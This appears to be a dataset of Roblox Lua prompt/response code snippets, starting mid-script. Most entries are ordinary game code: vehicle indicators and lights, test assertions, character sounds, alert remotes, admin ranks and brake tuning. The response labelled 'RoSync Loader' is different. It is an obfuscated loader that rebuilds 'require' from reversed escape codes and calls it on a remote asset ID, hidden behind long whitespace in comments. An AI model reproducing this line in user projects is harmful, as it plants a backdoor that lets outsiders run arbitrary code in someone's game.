				--// Indicators
				elseif key == "q" then
					q = true
					if not leftin then
						leftin = true
						for i,v in pairs(carSeat.Parent:GetChildren()) do
							coroutine.resume(coroutine.create(function()
								if v.Name == "LeftIndicator" then
									while leftin do
										script.Parent:WaitForChild("TickTock").Pitch = 1
										script.Parent.TickTock:Play()
										v.PointLight.Enabled = false
										v.BillboardGui.Enabled = false
										limitButton.Parent.Left.Visible = false
										wait(0.35)
										script.Parent.TickTock.Pitch = .8
										script.Parent.TickTock:Play()
										v.BillboardGui.Enabled = true
										v.PointLight.Enabled = true
										limitButton.Parent.Left.Visible = true
										wait(0.35)
									end
									v.PointLight.Enabled = false
									v.BillboardGui.Enabled = false
									limitButton.Parent.Left.Visible = false
								end
							end))
						end
					else
						leftin = false
					end
				elseif key == "e" then
					e = true
					if not rightin then
						rightin = true
						for i,v in pairs(carSeat.Parent:GetChildren()) do
							coroutine.resume(coroutine.create(function()
								if v.Name == "RightIndicator" then
									while rightin do
										script.Parent:WaitForChild("TickTock").Pitch = 1
										script.Parent.TickTock:Play()
										v.PointLight.Enabled = false
										v.BillboardGui.Enabled = false
										limitButton.Parent.Right.Visible = false
										wait(0.35)
										script.Parent.TickTock.Pitch = .8
										script.Parent.TickTock:Play()
										v.BillboardGui.Enabled = true
										v.PointLight.Enabled = true
										limitButton.Parent.Right.Visible = true
										wait(0.35)
									end
									v.PointLight.Enabled = false
									v.BillboardGui.Enabled = false
									limitButton.Parent.Right.Visible = false
								end
							end))
						end
					else
						rightin = false
					    end
					end
				end)

mouse.KeyUp:connect(function (key)
    key = string.lower(key)
        if key == "a" then
                print("a up")
                if d == false then
                m.DesiredAngle = 0
                        n.DesiredAngle = m.DesiredAngle
                end
        elseif key == "d" then
                print("d up")
                if a == false then
                m.DesiredAngle = 0
                        n.DesiredAngle = m.DesiredAngle
end
        end
        a = false
        d = false
end)

mouse.KeyUp:connect(function (key)
    key = string.lower(key)
if key == "w" or key == "s" then
        rwd.Throttle = 0
        rwd.Torque = 0
	    lwd.Throttle = 0
		lwd.Torque = 0
		rrwd.Throttle = 0
		rrwd.Torque = 0

       carSeat.Throttle = 0
		lightOn = false
		carSeat.Torque = cst
		tailLights.A.Transparency = 0.7
		tailLights.A.Material = "SmoothPlastic"
		tailLights.A.BrickColor = BrickColor.new("Ghost grey")

		tailLights.B.Transparency = 0.7
		tailLights.B.Material = "SmoothPlastic"
		tailLights.B.BrickColor = BrickColor.new("Ghost grey")

		carSeat.Parent.Parent.SpoilerSys.Spoiler.BL.Transparency = 0.7
		carSeat.Parent.Parent.SpoilerSys.Spoiler.BL.Material = "SmoothPlastic"
		carSeat.Parent.Parent.SpoilerSys.Spoiler.BL.BrickColor = BrickColor.new("Ghost grey")

		tailLights.E.Lights.Enabled = false
        end
end)


Prompt:
--[[
	Assert that our expectation value is equal to another value
]]

Response:
function Expectation:equal(otherValue)
	local result = (self.value == otherValue) == self.successCondition

	local message = formatMessage(self.successCondition,
		("Expected value %q (%s), got %q (%s) instead"):format(
			tostring(otherValue),
			type(otherValue),
			tostring(self.value),
			type(self.value)
		),
		("Expected anything but value %q (%s)"):format(
			tostring(otherValue),
			type(otherValue)
		)
	)

	assertLevel(result, message, 3)
	self:_resetModifiers()

	return self
end


Prompt:
--[[

function newSound(id)
	local sound = Instance.new("Sound")
	sound.SoundId = id
	sound.Parent = script.Parent.Head
	return sound
end

local sDied = newSound("rbxasset://sounds/uuhhh.wav")
local sFallingDown = newSound("rbxasset://sounds/splat.wav")
local sFreeFalling = newSound("rbxasset://sounds/swoosh.wav")
local sGettingUp = newSound("rbxasset://sounds/hit.wav")
local sJumping = newSound("rbxasset://sounds/button.wav")
local sRunning = newSound("rbxasset://sounds/bfsl-minifigfoots1.mp3")
sRunning.Looped = true

local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")

function onDied()
	sDied:play()
end

function onState(state, sound)
	if state then
		sound:play()
	else
		sound:pause()
	end
end

function onRunning(speed)
	if speed>0 then
		sRunning:play()
	else
		sRunning:pause()
	end
end

Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(function(state) onState(state, sJumping) end)
Humanoid.GettingUp:connect(function(state) onState(state, sGettingUp) end)
Humanoid.FreeFalling:connect(function(state) onState(state, sFreeFalling) end)
Humanoid.FallingDown:connect(function(state) onState(state, sFallingDown) end)
--]]

Response:
local nextTime = 0
local runService = game:service("RunService");

while Figure.Parent~=nil do
	time = runService.Stepped:wait()
	if time > nextTime then
		move(time)
		nextTime = time + 0.1
	end
end


Prompt:
--[[
	Sends alert of type and message. If players is not specified, will send to everyone, else supports a single player, or a table of players.
]]

Response:
local ReplicatedStorage = game:GetService("ReplicatedStorage")

local SendAlert = ReplicatedStorage.Remotes.SendAlert

return function(alertType, message, players)
	assert(message)

	if not players then
		SendAlert:FireAllClients(alertType, message)
	elseif typeof(players) == "table" then
		for _, player in pairs(players) do
			SendAlert:FireClient(player, alertType, message)
		end
	else
		SendAlert:FireClient(players, alertType, message)
	end
end


Prompt:
--[=[
	Signal that fires when the attribute changes
	@readonly
	@prop Changed Signal<()>
	@within AttributeValue
]=]

Response:
function AttributeValue:__index(index)
	if index == "Value" then
		local result = self._object:GetAttribute(rawget(self, "_attributeName"))
		local default = rawget(self, "_defaultValue")
		if result == nil then
			return default
		else
			return result
		end
	elseif index == "Changed" then
		return self._object:GetAttributeChangedSignal(self._attributeName)
	elseif AttributeValue[index] then
		return AttributeValue[index]
	else
		error(("%q is not a member of AttributeValue"):format(tostring(index)))
	end
end

function AttributeValue:__newindex(index, value)
	if index == "Value" then
		self._object:SetAttribute(rawget(self, "_attributeName"), value)
	else
		error(("%q is not a member of AttributeValue"):format(tostring(index)))
	end
end

return AttributeValue


Prompt:
--[[
	Constructs and returns objects which can be used to model derived reactive
	state.
]]

Response:
local Package = script.Parent.Parent
local Types = require(Package.Types)
local captureDependencies = require(Package.Dependencies.captureDependencies)
local initDependency = require(Package.Dependencies.initDependency)
local useDependency = require(Package.Dependencies.useDependency)
local logErrorNonFatal = require(Package.Logging.logErrorNonFatal)
local logWarn = require(Package.Logging.logWarn)
local isSimilar = require(Package.Utility.isSimilar)
local needsDestruction = require(Package.Utility.needsDestruction)

local class = {}

local CLASS_METATABLE = {__index = class}
local WEAK_KEYS_METATABLE = {__mode = "k"}


Prompt: --!strict

Response:
type Array = { [number]: any }
type Function = (any, any, number, any) -> any


Prompt: --DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!

Response:
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.IceCream -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage

hitPart.Touched:Connect(function(hit)
	if debounce == true then
		if hit.Parent:FindFirstChild("Humanoid") then
			local plr = game.Players:FindFirstChild(hit.Parent.Name)
			if plr then
				debounce = false
				hitPart.BrickColor = BrickColor.new("Bright red")
				tool:Clone().Parent = plr.Backpack
				wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
				debounce = true
				hitPart.BrickColor = BrickColor.new("Bright green")
			end
		end
	end
end)


Prompt:
--[[
	Create a new, empty TestPlan.
]]

Response:
function TestPlan.new(testNamePattern, extraEnvironment)
	local plan = {
		children = {},
		testNamePattern = testNamePattern,
		extraEnvironment = extraEnvironment,
	}

	return setmetatable(plan, TestPlan)
end


Prompt: --[[ Last synced 11/11/2020 02:36                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt: -- RANK, RANK NAMES & SPECIFIC USERS

Response:
Ranks = {
	{5,	"Owner", 	};
	{4,	"HeadAdmin",	{"",0},	};
	{3,	"Admin",		{"",0},	};
	{2,	"Mod",			{"",0},	};
	{1,	"VIP",			{"",0},	};
	{0,	"NonAdmin",		};
};


Prompt: --[[Brakes]]

Response:
	Tune.ABSEnabled		= true		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS)

	Tune.FBrakeForce	= 9000	-- Front brake force
	Tune.RBrakeForce	= 9000		-- Rear brake force
	Tune.PBrakeForce	= 9000		-- Handbrake force

	Tune.FLgcyBForce	= 15000		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25000		-- Handbrake force [PGS OFF]